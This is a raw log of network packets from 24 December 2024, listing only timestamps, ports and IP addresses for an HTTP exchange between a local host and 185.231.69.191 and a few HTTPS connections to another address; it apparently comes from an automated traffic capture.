Dec 24, 2024 14:02:07.263700962 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.263746977 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.263839960 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.263885021 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.264734030 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.264779091 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.264838934 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.264884949 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.265609026 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.265655041 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.265676022 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.265722036 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.266566038 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.266613960 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.266696930 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.266745090 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.267544031 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.267592907 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.267934084 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.267980099 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.268465042 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.268524885 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.268703938 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.268752098 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.269402981 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.269453049 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.269748926 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.269799948 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.270381927 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.270406961 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.270432949 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.270458937 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.271332026 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.271374941 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.271377087 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.271421909 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.272324085 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.272371054 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.272383928 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.272429943 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.273359060 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.273375034 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.273407936 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.273427010 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.274328947 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.274375916 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.274755001 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.274802923 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.275197983 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.275223017 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.275243044 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.275264025 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.276062012 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.276110888 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.276598930 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.276649952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.277017117 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.277060986 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.277623892 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.277671099 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.277976990 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.277993917 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.278023958 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.278042078 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.374182940 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.374316931 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.374571085 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.374634981 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.374651909 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.374716043 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.374716043 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.375370026 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.375421047 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.375436068 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.375483036 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.376279116 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.376328945 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.376540899 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.376590014 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.377244949 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.377288103 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.377449989 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.377499104 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.378211021 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.378261089 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.378317118 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.378360987 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.379214048 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.379266977 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.379303932 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.379352093 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.380101919 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.380151987 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.380187988 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.380232096 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.381081104 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.381127119 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.381330967 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.381376982 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.382029057 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.382077932 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.382157087 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.382200956 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.382965088 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.383012056 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.383155107 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.383205891 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.383887053 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.383938074 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.384212971 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.384260893 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.384848118 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.384902000 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.385071993 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.385121107 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.385788918 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.385838032 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.385977983 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.386024952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.386771917 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.386821032 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.386869907 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.386913061 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.388010979 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.388067007 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.388073921 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.388111115 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.388667107 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.388725996 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.388747931 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.388796091 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.389627934 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.389682055 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.389780998 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.389837027 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.390552998 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.390605927 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.390681982 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.390748978 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.391541958 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.391596079 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.391776085 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.391824961 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.392461061 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.392512083 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.392618895 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.392663956 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.393486023 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.393565893 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.393703938 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.393757105 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.394361973 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.394416094 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.394475937 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.394525051 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.395375967 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.395426989 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.395514965 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.395567894 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.396271944 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.396326065 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.396385908 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.396440029 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.397272110 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.397325039 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.397325039 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.397376060 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.398221016 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.398272991 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.398315907 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.398370028 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.399128914 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.399183035 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.399794102 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.399846077 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.400146961 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.400182009 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.400198936 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.400228024 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.401029110 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.401082993 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.401271105 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.401329041 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.401978016 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.402026892 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.402324915 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.402376890 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.402896881 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.402951002 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.403049946 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.403104067 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.403857946 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.403902054 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.404082060 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.404131889 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.404778957 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.404831886 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.453449011 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.453520060 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.453644037 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.453694105 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.453790903 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.453843117 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.454005003 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.454056978 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.454755068 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.454804897 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.454978943 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.455029011 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.455677032 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.455729961 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.455790997 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.455842018 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.456604958 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.456664085 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.457175970 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.457230091 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.457689047 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.457741976 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.457834005 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.457887888 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.458940029 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.458991051 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.459095955 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.459146023 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.459623098 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.459676027 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.459846973 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.459897995 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.460506916 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.460541964 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.460560083 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.460606098 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.461385012 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.461437941 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.462331057 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.462366104 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.462383032 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.462414980 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.462421894 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.462466955 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.463243008 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.463298082 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468333006 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468368053 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468385935 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468404055 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468414068 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468440056 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468456030 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468486071 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468491077 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468525887 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468539953 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468560934 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468566895 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468611956 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468663931 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468713999 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468718052 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468754053 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468765020 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468790054 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.468800068 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.468841076 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.471196890 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.471247911 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.471250057 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.471282959 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.471297026 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.471332073 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.471334934 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.471370935 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.471384048 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.471410990 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.471419096 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.471457005 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.566425085 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.566531897 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.566684961 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.566715956 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.566737890 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.566764116 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.566773891 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.566823006 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.567599058 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.567651033 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.568229914 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.568303108 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.568515062 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.568573952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.569101095 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.569737911 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.569791079 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.569920063 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.569972038 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.570704937 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.570751905 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.571027040 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.571079969 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.571451902 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.571486950 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.571501970 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.571538925 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.572344065 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.572405100 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.572953939 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.573004961 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.573283911 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.573338985 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.573416948 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.573465109 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.574341059 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.574408054 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.574417114 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.574449062 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.575198889 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.575253963 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.575274944 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.575299978 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.576159954 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.576216936 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.576427937 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.576481104 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.577111006 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.577208996 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.577245951 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.577265024 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:07.578032017 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.578222036 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:07.578275919 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:09.164869070 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.164902925 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:09.164958954 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.165199041 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.165276051 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:09.165338993 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.221092939 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.221107960 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:09.221292973 CET	49712	443	192.168.2.6	142.250.181.68
